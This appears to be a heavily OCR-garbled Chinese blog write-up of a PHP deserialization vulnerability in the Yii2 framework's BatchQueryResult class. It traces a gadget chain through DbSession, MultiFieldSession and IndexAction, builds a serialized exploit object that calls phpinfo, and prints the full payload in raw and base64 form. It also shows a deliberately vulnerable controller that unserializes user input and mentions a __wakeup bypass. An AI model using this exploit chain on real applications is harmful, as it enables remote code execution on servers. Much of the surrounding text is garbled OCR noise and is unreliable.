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1. Wb T

Showing 2 changed files with 12 acditions and 0 deletions.

vilm CHANGELOG.nd [

4,7 g8 Vi

work 2 Change L

2.9.38 under developeent

Enh #18213: Do mot load fixtures with circulsr dependencies twice instead of throwing am exce
[Jesselinesd)

Bug #18066: Fix “yii\gb\Query::create{)’ wasn't using all info from “withQuery

Bup #18269: Fix integer safe attribute to work properly in

(maximkou)
yii\base\M

(Ladone)

u db/satchOueryResult.php [

4223,15 @@ Private TURCTLON QELDRDFLverName|

Unified  Spiit

2.0.38 under development

+ - Bug: (CVE-2028-15148): Dissble unserialiration of ‘yii\db\BatchQueryResult’ to prevent remote code

execution in case application calls unserialire(} on user input containing specially crafted string (samdark,
russtone)

Enh #18213: Do not load fixtures with circular
{Jessetinesd)

Bug #18866: Fix “yii\d

dependene

e

instesd of thrawing an exception

wery::create()’ wasn't wsing all info from (e imkou)

Bug #18269: Fix integer safe attribute to work properly in

KRIE./yii2/db/BatchQueryResult.php $#E T  wakeup F5i%, £ wakeup GixitH

T—RE,

EAIET _wakeup FiEAINA:
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urnserndise|) ZMuBEET1H1LE™ 717 __WdKeUp\) JJiK. XHFRTFL, RUXITYEH

__wakeup 73i%, FRSTESENRBZAIRIR.

Fi_ wakeup() FiEHH—1M 75, HLEATRILE BatchQueryResult R AL,
2. tRFIAHE

HLE 19 F 9 Bip, ELBINEDH TIXFAMEE, SRESMEHEE.

B5%A yii2/db/BatchQueryResult 2857, 7FE  destruct Fi%:

__destruct()

->reset()

reset()

->close()

o ) | =L LHBA

&% $this-> dataReader oJ#z, XBERSEHEIEATLAE:

1 $this-> dataReader IREN—INEE close iR, BAAE call 757%, ML
R HT



B 23 PNEELT close 5iEAIZE, HEIKHESE

18 $this-> dataReader T{EH
FE BRI TRITE A,

MFE close FiERYEE,

/Users/admintony/temp/app/vendor/yiisoft/yii2/db/DataReader.php:
* Read attempts after this method call are unpredictable.
*/
public [function close()

$this—>_statement->closeCursor();

/Users/admintony/temp/app/vendor/yiisoft/yii2/web/DbSession.php:
* @since 2.0.17
*/
146: public ffunction closé()
{
if ($this—>getIsActive()) {

/Users/admintony/temp/app/vendor/yiisoft/yii2/web/Session.php:
* Ends the current session and store session data.
*/
public {function clos€()

if ($this—>getIsActive()) {
* @return bool whether session is closed successfully
*/
public [function clos€Session()
{

return true;

23 matches across 20 files

close()

->getIsActive()) {

F=ERTZ close A3

& ) I =RLHRA

. yii2/web/DbSession, i30T :

->composeFields()



R )| ==2LH

24 $this->getlsActive A true BY, M<IEA composeFields /5i%, EAIET getlsActive B
73 =RYSCER :

<?php
// code from yii2/web/Session.php
public function getIsActive()

{
return session_status() === PHP_SESSION_ACTIVE;

XERINLZEBR FERIRE] true, RIBREIANEE T debug 1 gii 4, TTIEHAFE, &8
1R[A] true,

RIGERH composeFields 5%, 1ZAESLIITFERIRZE: yii2/web/MultiFieldSession,

string
string

array
composeFields( - =
=> ? call_user_func(

)
]
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XEBIERT call_user func &%), FEREE $this->writeCallback Az, {EESEATIE,
BJLAE [(new test),"aaa"] 3€£4D, N $this->writeCallback fEN[(new test),"aaa"], UE&

VA test KRN 5E aaa,

FRAEERE— MR LA TR ST ERIZE, thal: yii2/rest/IndexAction 3549 run
7k, KRBT

ActiveDataProvider
run()
-> ) o

call_user_func( ->

->prepareDataProvider()

R )| =R LHPA

F8 call user func FIFMNREBIETIZ,
FIIXEBER BiEs i, EScth2REAEEl, WFIMSER.
I FEYEANT

yii2/rest/IndexAction() ->run()
yii2/web/MultiFieldSession() ->composeFields() # /7icall_user func, XmJ{Z#H—1"Z4
yii2/web/DbSession()->close()

yii2/db/BatchQueryResult()->reset()
vii2/dh/RatrhNiiarvRecn1+(\Y-s  dectrict ()



i3 FIFHESE payload

KENTRTREE TR RE 2GS payload, KIVESBRITETRAZIBHE.

RABRINEFRTNITEM: phpgge, SK—EHREXNTE4YR payload, {EE2EERFS
HHIRHERLHSE T, BRAEEmRSLE Y, LT RN,

sSLAE— BatchQueryResult 25, FHIREEEM $ dataReader

XERH $_dataReader EFAELE, MMUES— M RECRIREZTENE, EX
yii2/db/BatchQueryResult ZA9CREN L :

public function setDataReader($value){
$this->_dataReader = $value;

}

RIRIRS LGS :
$bgrobj = new BatchQueryResult();
sCf5MY, yii2/web/DbSession 25, FREIISRIR(ELZS $bqrObj A dataReader I

SLHIME yii2/rest/IndexAction 2, TR{EZS yii2/web/DbSession ##9 writeCallback 35

m ¥



/] HHEIE
$bqrobj
$bdsObj

new BatchQueryResult();

new DbSession();
$indexAction = new IndexAction();

$bdsObj -> writeCallback = array($indexAction,"run");

$bqrobj->setDataReader($bdsObj);
var_dump(serialize($bqrobj));

XEEFTELHUL IndexAction K0T, EFEEHMIE DA, SLUITHRFAIRE:
\yii\base\Action &

Action Component

Controller/\yii\web\Controller/\yii\console\Controller

array

__construct(

& ) | =L 2HBA

MRIEERIAEAZE Compoent BY_ construct J5i%:



__construct(

q ¢ )) o

Yii::configure(

->init()
& || =L SHA

#k45E Yiizconfigure BYSCIN:

configure(

& ) | =L LHBA

HLHi 2EFF & EUE, 1BEIELL key HZEER, value HEIRBBENINSR,
FrLA*3i& demo:

public function actionSay($message = 'Hello')

{
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POYrunj = new pbdLcnuueryresutLi( ),

$bdsobj

new DbSession();

$indexAction = new IndexAction(1,1); //config#rigf4/1H

$indexAction->checkAccess = 'phpinfo';

$bdsObj -> writeCallback = array($indexAction,"run");
$bgrobj->setDataReader($bdsObj);
var_dump(serialize($bgrobj));

return $this->render('say', ['message’ => $message]);

SRfE158] web, f1TF:

Invalid Configuration — yii\base\lnvalidConfigException

yiiirest\IndexAction::$modelClass must be set.

1. in /Users/admintony/temp/app/vendor/yiisoft/yii2/rest/Action.php

public §checkhccess;

doc}

public function init{)
{
if ($this->modelClass === null) {
throw new InvalidConfigException(get_class(Sthis) . '::SmodelClass must be set.’);
}

Hig, a2 $this->modelClass A%, BEMITAHMCE.
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init()

InvalidConf

) | =RLHRA

FrLA¥E1E demo:

BatchQueryResult()
DbSession()
IndexAction(

->

->setDataReader(

var_dump(serialize(
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Invalid Configuration — yii\base\InvalidConfigException

yii\rest\IndexAction::3modelClass must be set.

1. in /Users/admintony/temp/app/vendor/yiisoft/yii2/rest/Action.php

public $checkAccess;

* {@inheritdoc}
public function init()
{
if ($this->modelClass === null) {

throw new InvalidConfigException(get_class($this) . '::$modelClass must be set.');
} e o) —

BPAE/R $this->modelClass KIRE, RERE, EEFLHMLEIZ indexAction TIAZ
yii2/rest/Action 2, FTLAE#RE $indexAction->modelClass i&8&A 1 yii2/rest/Action B9
modelClass BJ(E.

XAHEABZ yii2/base/Action 2P construct 755%, TILURELE, [ yii2/rest/Action £
yii2/base/Action B2, BILAEEEMERTTIE,

FrLAMEEL demo:



r_dump(

I7:"yii\db\Connection™:37:
chemaCacheExclude™;a:0;

2:"dl";N;s:5:"queny;N;s:9: "batchSize" 1:100;8:4: "each;b:0;5:36: il .ﬂb\Em"hOuwR@nh dataReader";0:17:"yil\web\DbSession™:13:{s:2:"db"
;" password”;s: 0 :
+5:18:*queryCacheDuration®:3600;5-10:"queryCachess:5:*cacha’:s 7:"chars
db\pgsal\Schema™s:6:"mysqli";s:19: yil\db\mysql\Schema";s:5: " mysql";s:19:yil\db\mysql\Schema";s:6:"sqite";=:20:"y! ndl:\sqllra\S:hama 57-"sqlite2”5:20:™
g 6:"mysqll";s:14:yil\db\Command";s:5:"mysq|" : 21:"yii\db\sqlite\,Command;s: 7:"sqlite2";5:21"yil\db\sglite)\Command’
{}s:1:"slaveConfig"a:0-()s:7:"masters";a-0:{}s:12:"masterConhg";a:0:

{}s:14:"shufflebasters”;b:1;5:13:"enableLogging";b:1;5:15: "enableProfiling";b:1;5:8: "isSybase";b:0;5:30:"yii\db\Connection_driverName",N;s:34: "yii\db\Connection_queryCachelnfo";a:0:
i\db i i "yil\base\Component_sventWildcards";a:0:

2 ion}) : £ 3:"writeCallbac :0:20:"yli\rest\IndexAction
5:10:"modelClass";s-21:" ActiveRecordinterf “;M;s:11:"checkAccess®;s:7:"phpinfo";s:2:"Id":1;5:10:"controller;1:1;5:27."yil\base\Component_events®;a:0
:0:{}s:30:"yil\base\Component_behaviors g 7:"handler 30:"yil\web\Session_cookieParam:
Je:34"yil\web\SessionfrozenSessionData’;N;s:30: yil\web\Session_hasSassionid";N;a:27:"yil\base\Component_events"z:0:{ls:35:"yii\base\ Component_eventiWildcardsz:0:

{5:30:"yil\base\ Companent_bshaviors®;N \ [t_batch®;N;s:31:yil\db\BatchQueryResult_valus™ :*yii\db'\BatchQueryResult_key";N;s:48:"yil\db\BatchGueryResultmssaglNoMoreRawsErrorCade";1:=1.

string(3001) "0:23:"yil\db\BatchQueryResult":0

db'\sqlite\Schema”;=:6:"sqlsrv™;s:19:"yil\db\mesgl\Schemz
6:"sglsrv";s:14:"yil\db\Command";s:3:"oci";s:18

PHP Version 7.3.11
System Daruen MacBook-Pro 19.6.0 Darwin Kemel Version 19.6.0: Sun Jul § 00:43:%0 PDT 2020; rootanu
153 1411-/RELEASE_XB0_64 106_64
Build Date Jul B 2020 08:22:83
Configurs Command " /Caches,com sppe b Biuries, spache_mod_pho metal TempConent Objects/hoy conhgurs’ =
orefo man' ‘i s share/Into’ ‘~~disabie-dependency-tracking
syscontie=/priata/etc ,v.un =it '—-anablo-ci Wi
o5 /SOK s MacOSX
1015 Irpermaladh/use' '—with- ru"“q =/’ ‘iR
e Applications, Xcode K/ MBCOSXID.
1 Insamal sk s’ ——with-
2pp/C [Pafonm MacOSX /50N MACO
510,15 dvternal sk use local Roresal *~-with-
karbar 300/ Contents,/De
OEXI0.15 Interrial. s usr
a0 /0 MBCOISX plattoren, Darvelopee, SOKS/MaEOSX1
018 termalackiun '—mable-tcrmatt ' —wit-
% Xoode.app/ Cantents/De piattom/D
o ammmm.ug —enablo—calondar'-—disabie—cgi *--with-
i 5/ Con IMacCEX plath fSOKa/MacCEXY

0.15 Il ack usr’ '—enable-con’ '~with-

IMacOSt £/ Moz - ]
X10,15. IS /LBF '~ ~enabie—aX /-~ aNDIO— P *——oNACID- TR ——wilh-O ‘WP
raryd Cochand com. apple. b/ Binaries apache_mad_phe/instsl TempConteet Roat/ua/local” '

S Y S VY-

PP N R

phpinfo FThH4T, payload 79:

0:23:"yii\db\BatchQueryResult":9:{s:2:"db";N;s:5:"query";N;s:9:"batchSize";i:100;s:4:"each";b:0;s:36
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:7yl1l\db\BatchyuerykesulT_datakeader ;U:L1/: y1l1l1\WeD\UDSEeSS10n :13:{S:Z: ab ;U:1l/: yll\db\Lonnection"
:37:{s:3:"dsn";s:37:"mysql:host=1ocalhost;dbname=yii2basic";s:8:"username";s:4:"root";s:8:"password"
;8:0:"";s:10: "attributes";N;s:17:"enableSchemaCache";b:0;s:19:"schemaCacheDuration";i:3600;s:18:"sch
emaCacheExclude";a:0:{}s:11:"schemaCache";s:5:"cache";s:16: "enableQueryCache";b:1;s:18:"queryCacheDu

ration";i1:3600;s:10:"queryCache";s:5:"cache";s:7:"charset";s:4:"utf8";s:14:"emulatePrepare"”;N;s:11:

"tablePrefix";s:0:"";s:9:"schemaMap";a:10:{s:5:"pgsql";s:19:"yii\db\pgsql\Schema";s:6:"mysqli";s:19:
"yii\db\mysql\Schema";s:5:"mysql";s:19:"yii\db\mysql\Schema";s:6:"sqlite";s:20:"yii\db\sqlite\Schem
a";s:7:"sqlite2";s:20:"yii\db\sqlite\Schema";s:6:"sqlsrv";s:19:"yii\db\mssql\Schema";s:3:"oci";s:17:
"yiildb\oci\Schema";s:5:"mssql";s:19:"yii\db\mssql\Schema";s:5:"dblib";s:19:"yii\db\mssql\Schema";s:
6:"cubrid";s:20:"yii\db\cubrid\Schema";}s:8:"pdoClass";N;s:12:"commandClass";s:14:"yii\db\Command";s
:10:"commandMap";a:10:{s:5:"pgsql";s:14:"yii\db\Command";s:6:"mysqli";s:14:"yii\db\Command";s:5:"mys
ql";s:14:"yii\db\Command";s:6:"sqlite";s:21:"yii\db\sqlite\Command";s:7:"sqlite2";s:21:"yii\db\sqlit
e\Command";s:6:"sqlsrv";s:14:"yii\db\Command";s:3:"oci";s:18:"yii\db\oci\Command";s:5:"mssql";s:14:
"yii\db\Command";s:5:"dblib";s:14:"yii\db\Command";s:6:"cubrid";s:14:"yii\db\Command";}s:15:"enableS
avepoint";b:1;s:17:"serverStatusCache";s:5:"cache";s:19:"serverRetryInterval”;i1:600;s:12:"enableSlav
es";b:1;s:6:"slaves";a:0:{}s:11:"slaveConfig";a:0:{}s:7:"masters";a:0:{}s:12:"masterConfig"”;a:0:{}s:
14:"shuffleMasters"”;b:1;s:13:"enableLogging";b:1;s:15:"enableProfiling";b:1;s:8:"isSybase";b:0;s:30:
"yii\db\Connection_driverName";N;s:34:"yii\db\Connection_queryCacheInfo";a:0:{}s:36:"yii\db\Connecti
on_quotedTableNames";N;s:37:"yii\db\Connection_quotedColumnNames"”;N;s:27:"yii\base\Component_events"
;a:0:{}s:35:"yii\base\Component_eventWildcards";a:0:{}s:30:"yii\base\Component_behaviors";N;}s:12:"s
essionTable";s:12:"{{%session}}";s:9:"*fields";a:0:{}s:12:"readCallback";N;s:13:"writeCallback";a:2:
{i:0;0:20:"yii\rest\IndexAction":10:{s:19:"prepareDataProvider";N;s:10:"dataFilter";N;s:10:"modelCla
ss";s:21:"ActiveRecordInterface”;s:9:"findModel";N;s:11:"checkAccess";s:7:"phpinfo";s:2:"id";i:1;s:1
0:"controller";i:1;s:27:"yii\base\Component_events";a:0:{}s:35:"yii\base\Component_eventWildcards";
2:0:{}s:30:"yii\base\Component_behaviors";N;}i:1;s:3:"run";}s:10:"flashParam";s:7:"__flash";s:7:"han
dler";N;s:30:"yii\web\Session_cookieParams";a:1:{s:8:"httponly";b:1;}s:34:"yii\web\SessionfrozenSess
ionData";N;s:30:"yii\web\Session_hasSessionId";N;s:27:"yii\base\Component_events";a:0:{}s:35:"yii\ba
se\Component_eventWildcards";a:0:{}s:30:"yii\base\Component_behaviors";N;}s:31:"yii\db\BatchQueryRes
ult_batch";N;s:31:"yii\db\BatchQueryResult_value";N;s:29:"yii\db\BatchQueryResult_key";N;s:49:"yii\d
b\BatchQueryResultmssqlNoMoreRowsErrorCode";i:-13;}

4 W& B A7 ) demo B8 1iE

IEXHREBE R THY controllers/SiteController.php 34, #il—a3:



public function actionSay($message = 'Hello')

{
$data = base64_decode($message);
unserialize($data);
return $this->response($data);

}

%% payload i#17 base64 wh3:

TzoyMzoieWlpXGRiXEJhdGNoUXV1cn1SZXN1bHQiOjk6e3M6MjoiZGIi0047cz010iIxdWVyeSI7Tjtz0jk6ImIhdGNoU216ZSI7
aToxMDA7cz000iJ1YWNoIjtiOjA7czozNjoiAH1paVxkY1xCYXRjaFF1ZXJI5UmVzdWx@AF9kYXRhUmVhZGVyIjtPOjE30iJ5allc
d2ViXERiU2Vzc21lvbiI6MTM6e3M6MjoiZGIi0086MTc6InlpaVxkY1xDb25uZWN@aWOuIjozNzp7czo0z0iJkc24i03M6Mzc6Iml5
c3FsOmhvc3Q9bG9jYWxob3NOO2RibmFtZT15alWkyYmFzaWMiO3M60DoidXN1cm5hbWUiO3MENDoicm9vdCI7czo40iJwYXNzd29y
ZCI7czow0iIi03M6MTA6IMFOdHIPYNVOZXMi0047czoxNzoiZW5hYmx1U2NoZW1hQ2FjaGUi02I6MDtz0jE501JzY2h1bWFDYWNoO
ZUR1cmF@aW9uIjtpOjM2MDA7czox0Doic2NoZW1hQ2FjaGVFeGNsdWR1IjthOjA6e31z0jEx0iJzY2h1bWFDYWNoZSI7cz0101iJj
YWN0ZSI7czoxNjoiZW5hYmx1UXV1cn1DYWNoZSI7Yjox03M6MTg6InF1ZXI5Q2FjaGVEdXIhdGlvbiI7aTozNjAwWO3MEMTA6INF1
ZXJ5Q2FjaGUi03M6NToiY2FjaGUi03M6NzoiY2hhcnN1dCI7cz000iJ1dGY4Ijtz0jE@01I1bXVSYXRIUHI1cGFyZSI7Tjtz0jEX
0iJOYWIsZVByZWZpeCI7czow0iIiO3M60Toic2NOoZW1hTWFwIjthOjEwONtz0jU6InBnc3FsIjtz0jE50iJ5aWlcZGIccGdzchxc
U2NoZW1hIjtz0jY6Im15c3FsaSI7czox0ToieWlpXGRiXG15c3FsXFNjaGVtYSI7cz010iJteXNxbCI7czox0ToieWlpXGRiXG15
Cc3FsXFNjaGVtYSI7cz020iJzcWxpdGUiO3M6MjA6InlpaVxkY1xzcWxpdGVcU2NoZW1hIjtz0jc6InNXxbG1OZTIiO3M6MjA6INlp
aVxkY1xzcWxpdGVcU2NoZW1hIjtz0jY6InNXxbHNydiI7czox0ToieWlpXGRiXG1lzc3FsXFNjaGVtYSI7czoz0iJvY2kiO3M6MTCH
InlpaVxkY1xvY21cU2NoZW1hIjtz0juU6Imlzc3FsIjtz0jE50iJ5aWlcZGIcbXNzcWxcU2NoZW1hIjtzOjU6ImRibG1iIjtz0jES
0iJ5alW1lcZGIcbXNzcWxcU2NoZW1hIjtz0jY6ImN1YnIpZCI7czoyMDoieWlpXGRiXGN1YnIpZFxTY2h1bWEi031z0jg6InBkbONs
YXNzIjtO03MeMTI6ImNvbW1hbmRDbGFzcyI7czoxNDoieWlpXGRiXENVbW1hbmQiO3MEMTA6ImNVbW1hbmRNYXAiO2E6MTA6e3M6
NToicGdzcWwiO3MeMTQ6InlpaVxkY1xDb21tYW5kIjtz0jY6Im15¢c3FsaSI7czoxNDoieWlpXGRiXENVbW1hbmQiO3MENToibX1z
cWwiO3M6MTQ6IN1paVxkY1xDb21tYW5kIjtz0jY6InNXxbG1lOZSI7czoyMToieWlpXGRiXHNXxbG1OZVXxDb21tYW5kIjtz0jc6InNxX
bG1OZTIi03M6MJE6InlpaVxkY1xzcWxpdGVcQ29tbWFuZCI7¢cz020iJzcWxzcnYi03M6MTQ6In1lpaVxkY1xDb21tYW5kIjtz0jM6
Im9jaSI7czox0ODoieWlpXGRiXG9jaVxDb21tYW5kIjtz0juU6Imlzc3FsIjtz0jEQ0iJ5aWlcZGIcQ29tbWFUZCI7cz010iJkYmxp
YiI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6NjoiY3VicmlkIjtz0jEQ0iJ5aWlcZGIcQ29tbWFUZCI7FXM6MTU6IMVUYWISZVNh
dmVwb21udCI7Yjox03M6MTc6InN1cnZ1cINOYXR1cONhY2h1Ijtz0jU6ImNhY2h1Ijtz0jE50132ZXJ2ZXISZXRyeUludGVydmFs
IjtpOjYwMDtzOjEy0iJ1lbmFibGVTbGF2ZXMi02I6MTtz0jY6INNSYXZ1cyI7YTowOnt9czoxMToic2xhdmvDb25maWciO2E6MDp7
FXMENZ0ibWFzdGVycyI7YTowOnt9czoxMjoibWFzdGVyQ29uzZmlnIjthOjA6e31z0jER0LIzaHVMZmx1TWFzdGVycyI7Yjox03M6
MTM6ImVUYWIsZUxvZ2dpbmci02I6MTtz0jE10iJ1bmFibGVQcmOmaWxpbmciO2I6MTtz0jg6ImlzU311YXNIIjti0jA7czozMDo1
AH1lpaVxkY1xDb25uZWNO@aWOuAF9kcm12ZXJOYW11Ijt003M6MzQ6IgB5aWlcZGIcQ29ubmVjdGlvbgBfcXV1cn1DYWNoZUluZm8i
02E6MDp7fXM6MzY6IgB5alWlcZGIcQ29ubmVjdGlvbgBfcXVvdGVkVGFibGVOYW11lcyI7Tjtz0jM30iIAeWlpXGRiXENvbm51Y3Rp



b24AX3F1b3R1ZENVbHVtbk5hbWVzIjt003M6Mjc6IgB5alWlcYmFzZVxDb21wb251bnQAX2V2ZIW50cyI7YTowOnt9czozNToiAHLp
aVXi1YXNIXENvbXBvbmVudABfZXZ1bnRXaWxkY2FyZHMiO2E6MDp7FXM6MzA6IgB5aWlcYmFzZVxDb21wb251bnQAX2J1aGF2alW9y
cyI7Tjt9czoxMjoic2Vzc21vblRhYmx1Ijtz0jEy0il7eyVzZXNzaWOufX0i03M60ToiACOAZm11bGRzIjthOjA6e31z0jEy0idy
ZWFkQ2FsbGIhY2s10047czoxMzoid3IpdGVDYWxsYmFjayI7YToyOntpOjA7TzoyMDoieWlpXHI1c3RcSW5kZXhBY3Rpb24i0jEw
Ontz0jE50iJwcmVwYXJ1RGFOYVBYb3ZpZGVyIjt003M6MTA6IMRhAGFGaWx0ZXIi0047czoxMDoibWIkZWxDbGFzcyI7czoyMToi

QWNOaXZ1UmVjb3IkSW50ZXImMYWN1Ijtz0jk6ImZpbmRNb2R1bCI7Tjtz0jEX0iJjaGVjaOFjY2VzcyI7czo30iJwaHBpbmZvIjtz
0jI6ImlkIjtpOjE7czoxMDoiY29udHIvbGx1lciI7aTox03M6M]jc6IgB5aWlcYmFzZVxDb21wb251bnQAX2V2ZW50cyI7YTowOnt9
czozNToiAH1paVxiYXNIXENvbXBvbmVudABfZXZ1bnRXalWxkY2FyZHMi02E6MDp7fXM6MzA6IgB5aWlcYmFzZVxDb21wb251bnQA
X231aGF2aW9ycyI7Tjt9aTox03M6MzoicnVuIjt9czoxMDoiZmxhc2hQYXIhbSI7cz0301JfX2ZsYXNoIjtz0jc6ImhhbmRsZXIi
0047czozMDoiAH1paVx3ZWJcU2Vzc21lvbgBfY29va2llUGFyYW1zIjthOjE6e3M60D0oiaHROCGOUbHki02I6MTt9czozNDoiAH1p
aVx3ZWJIcU2Vzc21lvbgBmcm96ZW5TZXNzaWOuRGFOYSI7Tjtz0jMwOiIAeWlpXHd1Y1XTZXNzaWOuAF90YXNTZXNzaWOuSWQi0047
czoyNzoiAH1paVxiYXN1XENvbXBvbmVudABfZXZ1bnRzIjthOjA6e31z0jM10iIAeWlpXGIhc2VcQ29tcGOuZW50AF91dmVudFdp
bGRjYXJIkcyI7YTowOnt9czozMDoiAH1paVxiYXNIXENvbXBvbmVudABfYmVoYXZpb3JzIjt0031z0jMx0iIAeWlpXGRiXEJIhdGNo
UXV1cn1SZXN1bHQAX2JhdGNoIjt003M6MzE6IgB5aWlcZGIcQmFOY2hRdWVyeVI1c3VsdABfdmFsdWUi0047czoyOToiAHlpaVxk
Y1xCYXRjaFF1ZXJ5UmVzdWx@AF9rZXki0047cz0o00ToiAH1paVxkY1xCYXRjaFF1ZXI5UmVzdWx®AG1zc3FsTmONb3J1Um93coVy
cm9yQ29kZSI7aTotMTM7fQ==

5. *h THRI B

a/&% CVE-2016-7124 @i php BY_ wakeup 75E50d,
CVE-2016-7124 K92 ISEE -

PHP5 < 5.6.25

PHP7 < 7.0.10
WHERERRAE php 235, BIEERIERHN TR, BRI,

6. &%



https://xz.aliyun.com/t/8082#toc-9



